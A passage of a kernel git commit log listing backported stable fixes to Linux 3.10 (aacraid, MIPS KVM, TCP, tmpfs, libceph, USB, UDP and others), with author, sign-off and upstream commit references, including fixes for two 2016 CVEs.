Adding another kthread_should_stop() before schedule_timeout() Cc: stable@vger.kernel.org Signed-off-by: Raghava Aditya Renukunta Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c6b15e16198b5e1f3b48b2d11c6502455ca59c27 Author: Raghava Aditya Renukunta Date: Mon Apr 25 23:31:26 2016 -0700 aacraid: Relinquish CPU during timeout wait commit 07beca2be24cc710461c0b131832524c9ee08910 upstream. aac_fib_send has a special function case for initial commands during driver initialization using wait < 0(pseudo sync mode). In this case, the command does not sleep but rather spins checking for timeout.This loop is calls cpu_relax() in an attempt to allow other processes/threads to use the CPU, but this function does not relinquish the CPU and so the command will hog the processor. This was observed in a KDUMP "crashkernel" and that prevented the "command thread" (which is responsible for completing the command from being timed out) from starting because it could not get the CPU. Fixed by replacing "cpu_relax()" call with "schedule()" Cc: stable@vger.kernel.org Signed-off-by: Raghava Aditya Renukunta Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 98b2c0cbba74afbe99e517a41ace2c0d9a91fa36 Author: Joseph Salisbury Date: Mon Mar 14 14:51:48 2016 -0400 ath5k: Change led pin configuration for compaq c700 laptop commit 7b9bc799a445aea95f64f15e0083cb19b5789abe upstream. BugLink: http://bugs.launchpad.net/bugs/972604 Commit 09c9bae26b0d3c9472cb6ae45010460a2cee8b8d ("ath5k: add led pin configuration for compaq c700 laptop") added a pin configuration for the Compaq c700 laptop. However, the polarity of the led pin is reversed. It should be red for wifi off and blue for wifi on, but it is the opposite. This bug was reported in the following bug report: http://pad.lv/972604 Fixes: 09c9bae26b0d3c9472cb6ae45010460a2cee8b8d ("ath5k: add led pin configuration for compaq c700 laptop") Signed-off-by: Joseph Salisbury Cc: stable@vger.kernel.org Signed-off-by: Kalle Valo Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 877480e4d71bd11da0ea6a544d27549dfc920c39 Author: Cameron Gutman Date: Wed Jun 29 09:51:35 2016 -0700 Input: xpad - validate USB endpoint count during probe commit caca925fca4fb30c67be88cacbe908eec6721e43 upstream. This prevents a malicious USB device from causing an oops. Signed-off-by: Cameron Gutman Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 1101d4dbbf1ce507793d93f70486cafa260f617b Author: Ping Cheng Date: Thu Jun 23 10:54:17 2016 -0700 Input: wacom_w8001 - w8001_MAX_LENGTH should be 13 commit 12afb34400eb2b301f06b2aa3535497d14faee59 upstream. Somehow the patch that added two-finger touch support forgot to update W8001_MAX_LENGTH from 11 to 13. Signed-off-by: Ping Cheng Reviewed-by: Peter Hutterer Cc: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit be9f82206b4256f357adf75c452809478edcdc36 Author: Ricky Liang Date: Fri May 20 10:58:59 2016 -0700 Input: uinput - handle compat ioctl for UI_SET_PHYS commit affa80bd97f7ca282d1faa91667b3ee9e4c590e6 upstream. When running a 32-bit userspace on a 64-bit kernel, the UI_SET_PHYS ioctl needs to be treated with special care, as it has the pointer size encoded in the command. Signed-off-by: Ricky Liang Cc: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit effa1accb8ce191c96dce9d9b2bdf359717d3b4a Author: James Hogan Date: Thu Jun 9 10:50:43 2016 +0100 MIPS: KVM: Fix modular KVM under QEMU commit 797179bc4fe06c89e47a9f36f886f68640b423f8 upstream. Copy __kvm_mips_vcpu_run() into unmapped memory, so that we can never get a TLB refill exception in it when KVM is built as a module. This was observed to happen with the host MIPS kernel running under QEMU, due to a not entirely transparent optimisation in the QEMU TLB handling where TLB entries replaced with TLBWR are copied to a separate part of the TLB array. Code in those pages continue to be executable, but those mappings persist only until the next ASID switch, even if they are marked global. An ASID switch happens in __kvm_mips_vcpu_run() at exception level after switching to the guest exception base. Subsequent TLB mapped kernel instructions just prior to switching to the guest trigger a TLB refill exception, which enters the guest exception handlers without updating EPC. This appears as a guest triggered TLB refill on a host kernel mapped (host KSeg2) address, which is not handled correctly as user (guest) mode accesses to kernel (host) segments always generate address error exceptions. Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: Radim KrÄÂmář Cc: Ralf Baechle Cc: kvm@vger.kernel.org Cc: linux-mips@linux-mips.org Cc: # 3.10.x- Signed-off-by: Paolo Bonzini [james.hogan@imgtec.com: backported for stable 3.14] Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e19f7c0a9642216646fdf621ef5a41efcbdfc587 Author: Ralf Baechle Date: Thu Feb 4 01:24:40 2016 +0100 MIPS: Fix 64k page support for 32 bit kernels. commit d7de413475f443957a0c1d256e405d19b3a2cb22 upstream. TASK_SIZE was defined as 0x7fff8000UL which for 64k pages is not a multiple of the page size. Somewhere further down the math fails such that executing an ELF binary fails. Signed-off-by: Ralf Baechle Tested-by: Joshua Henderson Cc: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 96fd894f3cca88fe6b67d8a0fb514b7bf1fe1d86 Author: Matthias Schiffer Date: Thu Mar 24 16:02:52 2016 +0100 MIPS: ath79: make bootconsole wait for both THRE and TEMT commit f5b556c94c8490d42fea79d7b4ae0ecbc291e69d upstream. This makes the ath79 bootconsole behave the same way as the generic 8250 bootconsole. Also waiting for TEMT (transmit buffer is empty) instead of just THRE (transmit buffer is not full) ensures that all characters have been transmitted before the real serial driver starts reconfiguring the serial controller (which would sometimes result in garbage being transmitted.) This change does not cause a visible performance loss. In addition, this seems to fix a hang observed in certain configurations on many AR7xxx/AR9xxx SoCs during autoconfig of the real serial driver. A more complete follow-up patch will disable 8250 autoconfig for ath79 altogether (the serial controller is detected as a 16550A, which is not fully compatible with the ath79 serial, and the autoconfig may lead to undefined behavior on ath79.) Cc: Signed-off-by: Matthias Schiffer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 5bc72600da069183396e80570e567774625b5684 Author: James Hogan Date: Mon Feb 8 18:43:49 2016 +0000 MIPS: Fix siginfo.h to use strict posix types commit 5daebc477da4dfeb31ae193d83084def58fd2697 upstream. Commit 85efde6f4e0d ("make exported headers use strict posix types") changed the asm-generic siginfo.h to use the __kernel_* types, and commit 3a471cbc081b ("remove __KERNEL_STRICT_NAMES") make the internal types accessible only to the kernel, but the MIPS implementation hasn't been updated to match. Switch to proper types now so that the exported asm/siginfo.h won't produce quite so many compiler errors when included alone by a user program. Signed-off-by: James Hogan Cc: Christopher Ferris Cc: linux-mips@linux-mips.org Cc: # 2.6.30- Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/12477/ Signed-off-by: Ralf Baechle Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b7640d763846b5aafecb37dee4841d8f5aa61414 Author: Paul Burton Date: Thu Apr 21 14:04:55 2016 +0100 MIPS: math-emu: Fix jalr emulation when rd == $0 commit ab4a92e66741b35ca12f8497896bafbe579c28a1 upstream. When emulating a jalr instruction with rd == $0, the code in isBranchInstr was incorrectly writing to GPR $0 which should actually always remain zeroed. This would lead to any further instructions emulated which use $0 operating on a bogus value until the task is next context switched, at which point the value of $0 in the task context would be restored to the correct zero by a store in SAVE_SOME. Fix this by not writing to rd if it is $0. Fixes: 102cedc32a6e ("MIPS: microMIPS: Floating point support.") Signed-off-by: Paul Burton Cc: Maciej W. Rozycki Cc: James Hogan Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13160/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 21217b5a52420f8fd3795426c9c3296080e864b3 Author: James Hogan Date: Thu Aug 18 10:22:55 2016 +0100 MIPS: KVM: Propagate kseg0/mapped tlb fault errors commit 9b731bcfdec4c159ad2e4312e25d69221709b96a upstream. Propagate errors from kvm_mips_handle_kseg0_tlb_fault() and kvm_mips_handle_mapped_seg_tlb_fault(), usually triggering an internal error since they normally indicate the guest accessed bad physical memory or the commpage in an unexpected way. Fixes: 858dd5d45733 ("KVM/MIPS32: MMU/TLB operations for the Guest.") Fixes: e685c689f3a8 ("KVM/MIPS32: Privileged instruction/target branch emulation.") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim KrÄÂmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Radim KrÄÂmář [james.hogan@imgtec.com: Backport to v3.10.y - v3.15.y] Signed-off-by: James Hogan Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e4cbf89a756894c6f3392831a0c299ee0b407266 Author: James Hogan Date: Thu Aug 18 10:22:54 2016 +0100 MIPS: KVM: Fix gfn range check in kseg0 tlb faults commit 0741f52d1b980dbeb290afe67d88fc2928edd8ab upstream. Two consecutive gfns are loaded into host TLB, so ensure the range check isn't off by one if guest_pmap_npages is odd. Fixes: 858dd5d45733 ("KVM/MIPS32: MMU/TLB operations for the Guest.") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim KrÄÂmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Radim KrÄÂmář [james.hogan@imgtec.com: Backport to v3.10.y - v3.15.y] Signed-off-by: James Hogan Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 7e333e5efec845bdb5efc126183f21ca1535e52a Author: James Hogan Date: Thu Aug 18 10:22:53 2016 +0100 MIPS: KVM: Add missing gfn range check commit 8985d50382359e5bf118fdbefc859d0dbf6cebc7 upstream. kvm_mips_handle_mapped_seg_tlb_fault() calculates the guest frame number based on the guest TLB EntryLo values, however it is not range checked to ensure it lies within the guest_pmap. If the physical memory the guest refers to is out of range then dump the guest TLB and emit an internal error. Fixes: 858dd5d45733 ("KVM/MIPS32: MMU/TLB operations for the Guest.") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim KrÄÂmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Radim KrÄÂmář [james.hogan@imgtec.com: Backport to v3.10.y - v3.15.y] Signed-off-by: James Hogan Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 69d507133783dacc794c0bf849542f5a85543cc8 Author: James Hogan Date: Thu Aug 18 10:22:52 2016 +0100 MIPS: KVM: Fix mapped fault broken commpage handling commit c604cffa93478f8888bec62b23d6073dad03d43a upstream. kvm_mips_handle_mapped_seg_tlb_fault() appears to map the guest page at virtual address 0 to PFN 0 if the guest has created its own mapping there. The intention is unclear, but it may have been an attempt to protect the zero page from being mapped to anything but the comm page in code paths you wouldn't expect from genuine commpage accesses (guest kernel mode cache instructions on that address, hitting trapping instructions when executing from that address with a coincidental TLB eviction during the KVM handling, and guest user mode accesses to that address). Fix this to check for mappings exactly at KVM_GUEST_COMMPAGE_ADDR (it may not be at address 0 since commit 42aa12e74e91 ("MIPS: KVM: Move commpage so 0x0 is unmapped")), and set the corresponding EntryLo to be interpreted as 0 (invalid). Fixes: 858dd5d45733 ("KVM/MIPS32: MMU/TLB operations for the Guest.") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim KrÄÂmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Radim KrÄÂmář [james.hogan@imgtec.com: Backport to v3.10.y - v3.15.y] Signed-off-by: James Hogan Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a10a39c78e5cf0b51b9f4c836726ebb214bc1b61 Author: Soheil Hassas Yeganeh Date: Fri Jul 29 09:34:02 2016 -0400 tcp: consider recv buf for the initial window scale commit f626300a3e776ccc9671b0dd94698fb3aa315966 upstream. tcp_select_initial_window() intends to advertise a window scaling for the maximum possible window size. To do so, it considers the maximum of net.ipv4.tcp_rmem[2] and net.core.rmem_max as the only possible upper-bounds. However, users with CAP_NET_ADMIN can use SO_RCVBUFFORCE to set the socket's receive buffer size to values larger than net.ipv4.tcp_rmem[2] and net.core.rmem_max. Thus, SO_RCVBUFFORCE is effectively ignored by tcp_select_initial_window(). To fix this, consider the maximum of net.ipv4.tcp_rmem[2], net.core.rmem_max and socket's initial buffer space. Fixes: b0573dea1fb3 ("[NET]: Introduce SO_{SND,RCV}BUFFORCE socket options") Signed-off-by: Soheil Hassas Yeganeh Suggested-by: Neal Cardwell Acked-by: Neal Cardwell Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d9bf0ca5ca864a446a1bdb6a23435b4569677a6e Author: Yuchung Cheng Date: Mon Jun 6 15:07:18 2016 -0700 tcp: record TLP and ER timer stats in v6 stats commit ce3cf4ec0305919fc69a972f6c2b2efd35d36abc upstream. The v6 tcp stats scan do not provide TLP and ER timer information correctly like the v4 version . This patch fixes that. Fixes: 6ba8a3b19e76 ("tcp: Tail loss probe (TLP)") Fixes: eed530b6c676 ("tcp: early retransmit") Signed-off-by: Yuchung Cheng Signed-off-by: Neal Cardwell Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 152ff88e36e35b2aae4f384649ef698962caee21 Author: Hugh Dickins Date: Sun Jul 10 16:46:32 2016 -0700 tmpfs: fix regression hang in fallocate undo commit 7f556567036cb7f89aabe2f0954b08566b4efb53 upstream. The well-spotted fallocate undo fix is good in most cases, but not when fallocate failed on the very first page. index 0 then passes lend -1 to shmem_undo_range(), and that has two bad effects: (a) that it will undo every fallocation throughout the file, unrestricted by the current range; but more importantly (b) it can cause the undo to hang, because lend -1 is treated as truncation, which makes it keep on retrying until every page has gone, but those already fully instantiated will never go away. Big thank you to xfstests generic/269 which demonstrates this. Fixes: b9b4bb26af01 ("tmpfs: don't undo fallocate past its last page") Signed-off-by: Hugh Dickins Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 08124482e925a32afbfa97dbaba2489e213d206c Author: Anthony Romano Date: Fri Jun 24 14:48:43 2016 -0700 tmpfs: don't undo fallocate past its last page commit b9b4bb26af017dbe930cd4df7f9b2fc3a0497bfe upstream. When fallocate is interrupted it will undo a range that extends one byte past its range of allocated pages. This can corrupt an in-use page by zeroing out its first byte. Instead, undo using the inclusive byte range. Fixes: 1635f6a74152f1d ("tmpfs: undo fallocation on failure") Link: http://lkml.kernel.org/r/1462713387-16724-1-git-send-email-anthony.romano@coreos.com Signed-off-by: Anthony Romano Cc: Vlastimil Babka Cc: Hugh Dickins Cc: Brandon Philips Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 44c3f499d209eb2716549d399095c2cc4f87fda1 Author: Ilya Dryomov Date: Sun Jul 24 18:32:16 2016 +0200 libceph: apply new_state before new_up_client on incrementals commit 930c532869774ebf8af9efe9484c597f896a7d46 upstream. Currently, osd_weight and osd_state fields are updated in the encoding order. This is wrong, because an incremental map may look like e.g. new_up_client: { osd=6, addr=... } # set osd_state and addr new_state: { osd=6, xorstate=EXISTS } # clear osd_state Suppose osd6's current osd_state is EXISTS (i.e. osd6 is down). After applying new_up_client, osd_state is changed to EXISTS | UP. Carrying on with the new_state update, we flip EXISTS and leave osd6 in a weird "!EXISTS but UP" state. A non-existent OSD is considered down by the mapping code 2087 for (i = 0; i < pg->pg_temp.len; i++) { 2088 if (ceph_osd_is_down(osdmap, pg->pg_temp.osds[i])) { 2089 if (ceph_can_shift_osds(pi)) 2090 continue; 2091 2092 temp->osds[temp->size++] = CRUSH_ITEM_NONE; and so requests get directed to the second OSD in the set instead of the first, resulting in OSD-side errors like: [WRN] : client.4239 192.168.122.21:0/2444980242 misdirected client.4239.1:2827 pg 2.5df899f2 to osd.4 not [1,4,6] in e680/680 and hung rbds on the client: [ 493.566367] rbd: rbd0: write 400000 at 11cc00000 (0) [ 493.566805] rbd: rbd0: result -6 xferred 400000 [ 493.567011] blk_update_request: I/O error, dev rbd0, sector 9330688 The fix is to decouple application from the decoding and: - apply new_weight first - apply new_state before new_up_client - twiddle osd_state flags if marking in - clear out some of the state if osd is destroyed Fixes: http://tracker.ceph.com/issues/14901 Signed-off-by: Ilya Dryomov Reviewed-by: Josh Durgin [idryomov@gmail.com: backport to 3.10-3.14: strip primary-affinity] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 175fa91419e404cf271e01397f255951d72c3394 Author: Tejun Heo Date: Fri Jul 15 15:08:20 2016 -0400 printk: do cond_resched() between lines while outputting to consoles commit 8d91f8b15361dfb438ab6eb3b319e2ded43458ff upstream. @console_may_schedule tracks whether console_sem was acquired through lock or trylock. If the former, we're inside a sleepable context and console_conditional_schedule() performs cond_resched(). This allows console drivers which use console_lock for synchronization to yield while performing time-consuming operations such as scrolling. However, the actual console outputting is performed while holding irq-safe logbuf_lock, so console_unlock() clears @console_may_schedule before starting outputting lines. Also, only a few drivers call console_conditional_schedule() to begin with. This means that when a lot of lines need to be output by console_unlock(), for example on a console registration, the task doing console_unlock() may not yield for a long time on a non-preemptible kernel. If this happens with a slow console devices, for example a serial console, the outputting task may occupy the cpu for a very long time. Long enough to trigger softlockup and/or RCU stall warnings, which in turn pile more messages, sometimes enough to trigger the next cycle of warnings incapacitating the system. Fix it by making console_unlock() insert cond_resched() between lines if @console_may_schedule. Signed-off-by: Tejun Heo Reported-by: Calvin Owens Acked-by: Jan Kara Cc: Dave Jones Cc: Kyle McMartin Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds [ciwillia@brocade.com: adjust context for 3.10.y] Signed-off-by: Chas Williams Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 36bf934f402df95e9d22e08eb8ca57fc1bc6d881 Author: Hugh Dickins Date: Fri Jul 15 15:08:19 2016 -0400 mm: migrate dirty page without clear_page_dirty_for_io etc commit 42cb14b110a5698ccf26ce59c4441722605a3743 upstream. clear_page_dirty_for_io() has accumulated writeback and memcg subtleties since v2.6.16 first introduced page migration; and the set_page_dirty() which completed its migration of PageDirty, later had to be moderated to __set_page_dirty_nobuffers(); then PageSwapBacked had to skip that too. No actual problems seen with this procedure recently, but if you look into what the clear_page_dirty_for_io(page)+set_page_dirty(newpage) is actually achieving, it turns out to be nothing more than moving the PageDirty flag, and its NR_FILE_DIRTY stat from one zone to another. It would be good to avoid a pile of irrelevant decrementations and incrementations, and improper event counting, and unnecessary descent of the radix_tree under tree_lock (to set the PAGECACHE_TAG_DIRTY which radix_tree_replace_slot() left in place anyway). Do the NR_FILE_DIRTY movement, like the other stats movements, while interrupts still disabled in migrate_page_move_mapping(); and don't even bother if the zone is the same. Do the PageDirty movement there under tree_lock too, where old page is frozen and newpage not yet visible: bearing in mind that as soon as newpage becomes visible in radix_tree, an un-page-locked set_page_dirty() might interfere (or perhaps that's just not possible: anything doing so should already hold an additional reference to the old page, preventing its migration; but play safe). But we do still need to transfer PageDirty in migrate_page_copy(), for those who don't go the mapping route through migrate_page_move_mapping(). CVE-2016-3070 Signed-off-by: Hugh Dickins Cc: Christoph Lameter Cc: "Kirill A. Shutemov" Cc: Rik van Riel Cc: Vlastimil Babka Cc: Davidlohr Bueso Cc: Oleg Nesterov Cc: Sasha Levin Cc: Dmitry Vyukov Cc: KOSAKI Motohiro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds [ciwillia@brocade.com: backported to 3.10: adjusted context] Signed-off-by: Charles (Chas) Williams Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c91ff6218bee9f4d971734b96dc5fcade7297021 Author: Andy Lutomirski Date: Fri Jul 15 14:26:26 2016 -0400 x86/mm: Add barriers and document switch_mm()-vs-flush synchronization commit 71b3c126e61177eb693423f2e18a1914205b165e upstream. When switch_mm() activates a new PGD, it also sets a bit that tells other CPUs that the PGD is in use so that TLB flush IPIs will be sent. In order for that to work correctly, the bit needs to be visible prior to loading the PGD and therefore starting to fill the local TLB. Document all the barriers that make this work correctly and add a couple that were missing. CVE-2016-2069 Signed-off-by: Andy Lutomirski Cc: Andrew Morton Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Dave Hansen Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Rik van Riel Cc: Thomas Gleixner Cc: linux-mm@kvack.org Signed-off-by: Ingo Molnar [ luis: backported to 3.16: - dropped N/A comment in flush_tlb_mm_range() - adjusted context ] Signed-off-by: Luis Henriques [ciwillia@brocade.com: backported to 3.10: adjusted context] Signed-off-by: Charles (Chas) Williams Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 78548750963dee6be9d2966f758be099cad68459 Author: Yoshihiro Shimoda Date: Wed Jun 8 16:32:50 2016 +0900 usb: renesas_usbhs: protect the CFIFOSEL setting in usbhsg_ep_enable() commit 15e4292a2d21e9997fdb2b8c014cc461b3f268f0 upstream. This patch fixes an issue that the CFIFOSEL register value is possible to be changed by usbhsg_ep_enable() wrongly. And then, a data transfer using CFIFO may not work correctly. For example: # modprobe g_multi file=usb-storage.bin # ifconfig usb0 192.168.1.1 up (During the USB host is sending file to the mass storage) # ifconfig usb0 down In this case, since the u_ether.c may call usb_ep_enable() in eth_stop(), if the renesas_usbhs driver is also using CFIFO for mass storage, the mass storage may not work correctly. So, this patch adds usbhs_lock() and usbhs_unlock() calling in usbhsg_ep_enable() to protect CFIFOSEL register. This is because: - CFIFOSEL.CURPIPE = 0 is also needed for the pipe configuration - The CFIFOSEL (fifo->sel) is already protected by usbhs_lock() Fixes: 97664a207bc2 ("usb: renesas_usbhs: shrink spin lock area") Cc: # v3.1+ Signed-off-by: Yoshihiro Shimoda Signed-off-by: Felipe Balbi Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 61c66c3c2018c52f920c767a071ba3395506973c Author: Andrew Goodbody Date: Tue May 31 10:05:26 2016 -0500 usb: musb: Ensure rx reinit occurs for shared_fifo endpoints commit f3eec0cf784e0d6c47822ca6b66df3d5812af7e6 upstream. shared_fifo endpoints would only get a previous tx state cleared out, the rx state was only cleared for non shared_fifo endpoints Change this so that the rx state is cleared for all endpoints. This addresses an issue that resulted in rx packets being dropped silently. Signed-off-by: Andrew Goodbody Cc: stable@vger.kernel.org Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b73e2461aca7dcd51077585953cc3d8706432269 Author: Andrew Goodbody Date: Tue May 31 10:05:27 2016 -0500 usb: musb: Stop bulk endpoint while queue is rotated commit 7b2c17f829545df27a910e8d82e133c21c9a8c9c upstream. Ensure that the endpoint is stopped by clearing REQPKT before clearing DATAERR_NAKTIMEOUT before rotating the queue on the dedicated bulk endpoint. This addresses an issue where a race could result in the endpoint receiving data before it was reprogrammed resulting in a warning about such data from musb_rx_reinit before it was thrown away. The data thrown away was a valid packet that had been correctly ACKed which meant the host and device got out of sync. Signed-off-by: Andrew Goodbody Cc: stable@vger.kernel.org Signed-off-by: Bin Liu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 45ca847adf43c7a6d7f75729d3206aae253fa76c Author: Daniele Palmas Date: Mon Jun 6 12:38:17 2016 +0200 USB: serial: option: add support for Telit LE910 PID 0x1206 commit 3c0415fa08548e3bc63ef741762664497ab187ed upstream. This patch adds support for 0x1206 PID of Telit LE910. Since the interfaces positions are the same than the ones for 0x1043 PID of Telit LE922, telit_le922_blacklist_usbcfg3 is used. Signed-off-by: Daniele Palmas Cc: stable Signed-off-by: Johan Hovold Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 86b0d5359043637975368063775aa576d583cd1a Author: Alan Stern Date: Thu Jun 23 14:54:37 2016 -0400 USB: EHCI: declare hostpc register as zero-length array commit 7e8b3dfef16375dbfeb1f36a83eb9f27117c51fd upstream. The HOSTPC extension registers found in some EHCI implementations form a variable-length array, with one element for each port. Therefore the hostpc field in struct ehci_regs should be declared as a zero-length array, not a single-element array. This fixes a problem reported by UBSAN. Signed-off-by: Alan Stern Reported-by: Wilfried Klaebe Tested-by: Wilfried Klaebe CC: Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 46a4dc640f6e6d3956fb33469281f5f3d057a581 Author: Willy Tarreau Date: Sun Aug 21 10:47:12 2016 +0200 USB: fix up faulty backports Ben Hutchings reported that two patches were incorrectly backported to 3.10 : - ddbe1fca0bcb ("USB: Add device quirk for ASUS T100 Base Station keyboard") - ad87e03213b5 ("USB: add quirk for devices with broken LPM") These two patches introduce quirks which must be in usb_quirk_list and not in usb_interface_quirk_list. These last one must only contain the Logitech UVC camera. Reported-by: Ben Hutchings Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9f7b360abc89751aa9f1613f35f8e4aeb31f4a25 Author: Eric Dumazet Date: Fri Jul 15 14:26:24 2016 -0400 udp: properly support MSG_PEEK with truncated buffers commit 197c949e7798fbf28cfadc69d9ca0c2abbf93191 upstream. Backport of this upstream commit into stable kernels : 89c22d8c3b27 ("net: Fix skb csum races when peeking") exposed a bug in udp stack vs MSG_PEEK support, when user provides a buffer smaller than skb payload. In this case, skb_copy_and_csum_datagram_iovec(skb, sizeof(struct udphdr), msg->msg_iov); returns -EFAULT. This bug does not happen in upstream kernels since Al Viro did a great job to replace this into : skb_copy_and_csum_datagram_msg(skb, sizeof(struct udphdr), msg); This variant is safe vs short buffers. For the time being, instead reverting Herbert Xu patch and add back skb->ip_summed invalid changes, simply store the result of udp_lib_checksum_complete() so that we avoid computing the checksum a second time, and avoid the problematic skb_copy_and_csum_datagram_iovec() call. This patch can be applied on recent kernels as it avoids a double checksumming, then backported to stable kernels as a bug fix. Signed-off-by: Eric Dumazet Acked-by: Herbert Xu Signed-off-by: David S. Miller [ luis: backported to 3.16: adjusted context ] Signed-off-by: Luis Henriques Signed-off-by: Charles (Chas) Williams Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 32a0419ee87417bf996f4788053ed99c6c39f6a1 Author: Neil Horman Date: Fri Jul 15 14:26:23 2016 -0400 PCI/ACPI: Fix _OSC ordering to allow PCIe hotplug use when available commit 3dc48af310709b85d07c8b0d3aa8f1ead02829d3 upstream. This fixes the problem of acpiphp claiming slots that should be managed by pciehp, which may keep ExpressCard slots from working. The acpiphp driver claims PCIe slots unless the BIOS has granted us control of PCIe native hotplug via _OSC. Prior to v3.10, the acpiphp .add method (add_bridge()) was always called *after* we had requested native hotplug control with _OSC. But after 3b63aaa70e ("PCI: acpiphp: Do not use ACPI PCI subdriver mechanism"), which appeared in v3.10, acpiphp initialization is done during the bus scan via the pcibios_add_bus() hook, and this happens *before* we request native hotplug control. Therefore, acpiphp doesn't know yet whether the BIOS will grant control, and it claims slots that we should be handling with native hotplug. This patch requests native hotplug control earlier, so we know whether the BIOS granted it to us before we initialize acpiphp. To avoid reintroducing the ASPM issue fixed by b8178f130e ('Revert "PCI/ACPI: Request _OSC control before scanning PCI root bus"'), we run _OSC earlier but defer the actual ASPM calls until after the bus scan is complete. Tested successfully by myself. [bhelgaas: changelog, mark for stable] Reference: https://bugzilla.kernel.org/show_bug.cgi?id=60736 Signed-off-by: Neil Horman Signed-off-by: Bjorn Helgaas Acked-by: Yinghai Lu CC: stable@vger.kernel.org # v3.10+ CC: Len Brown CC: "Rafael J. Wysocki" [ciwillia@brocade.com: backported to 3.10: adjusted context] Signed-off-by: Charles (Chas) Williams Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 082b92bdc18af2456cd17db177d88cce29d38346 Author: Vladimir Davydov Date: Thu Apr 16 12:47:35 2015 -0700 signal: remove warning about using SI_TKILL in rt_[tg]sigqueueinfo commit 69828dce7af2cb6d08ef5a03de687d422fb7ec1f upstream. Sending SI_TKILL from rt_[tg]sigqueueinfo was deprecated, so now we issue a warning on the first attempt of doing it. We use WARN_ON_ONCE, which is not informative and, what is worse, taints the kernel, making the trinity syscall fuzzer complain false-positively from time to time. It does not look like we need this warning at all, because the behaviour changed quite a long time ago (2.6.39), and if an application relies on the old API, it gets EPERM anyway and can issue a warning by itself. So let us zap the warning in kernel. Signed-off-by: Vladimir Davydov Acked-by: Oleg Nesterov Cc: Richard Weinberger Cc: "Paul E. McKenney" Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Vinson Lee Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d33b4946d68dc44ebe262d408b8da8e7883a3602 Author: Andrey Ryabinin Date: Wed May 11 16:51:51 2016 +0300 perf/x86: Fix undefined shift on 32-bit kernels commit 6d6f2833bfbf296101f9f085e10488aef2601ba5 upstream. Jim reported: UBSAN: Undefined behaviour in arch/x86/events/intel/core.c:3708:12 shift exponent 35 is too large for 32-bit type 'long unsigned int' The use of 'unsigned long' type obviously is not correct here, make it 'unsigned long long' instead. Reported-by: Jim Cromie Signed-off-by: Andrey Ryabinin Signed-off-by: Peter Zijlstra (Intel) Cc: Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: H. Peter Anvin Cc: Imre Palik Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Fixes: 